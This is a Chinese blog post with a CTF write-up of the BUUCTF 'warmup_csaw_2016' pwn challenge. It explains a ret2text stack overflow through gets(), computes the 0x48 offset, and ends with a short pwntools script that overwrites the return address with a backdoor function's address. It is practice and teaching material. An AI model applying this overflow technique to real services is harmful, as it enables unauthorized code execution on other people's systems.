[每日一PWN]BUUCTF warmup_csaw_2016

最新推荐文章于 2024-02-04 21:20:07 发布

悸动战士cosmos

最新推荐文章于 2024-02-04 21:20:07 发布

阅读量366

点赞数

分类专栏：每日一PWN 文章标签： pwn

本文链接：https://blog.csdn.net/qq_55233040/article/details/127955044

版权

6 篇文章 2 订阅

订阅专栏

warmup_csaw_2016

和第一题RIP一样，是经典而基础的ret2text

checksec看一下文件保护：
在这里插入图片描述
64位小端序文件，其余没什么需要注意的。

放进IDA，可以发现溢出点就在主函数当中
在这里插入图片描述

由IDA分析得，gets函数向v5输入数据，因为gets不限制长度，所以构成溢出，这里的rbp-40h表示输入点距离rbp寄存器的偏移为40h，而同时rbp自己还要占用8个偏移，因此从输入点到返回地址的偏移为40h+8h=48h。
当然不放心也可以用pwndbg算算，步骤和rip中的步骤相同。

和rip一样的，这道题的后门函数也是事先写好在文件内部的，可以很轻松的找到
在这里插入图片描述
同上一题，这里也可以获取后门函数的地址

由上面所得数据，写出如下脚本：

from pwn import *
p= remote('IP', PORT)
payload = b'a'*(0x40+0x8)+p64(0x40060D)
p.sendline(payload) 
p.interactive()

关注

专栏目录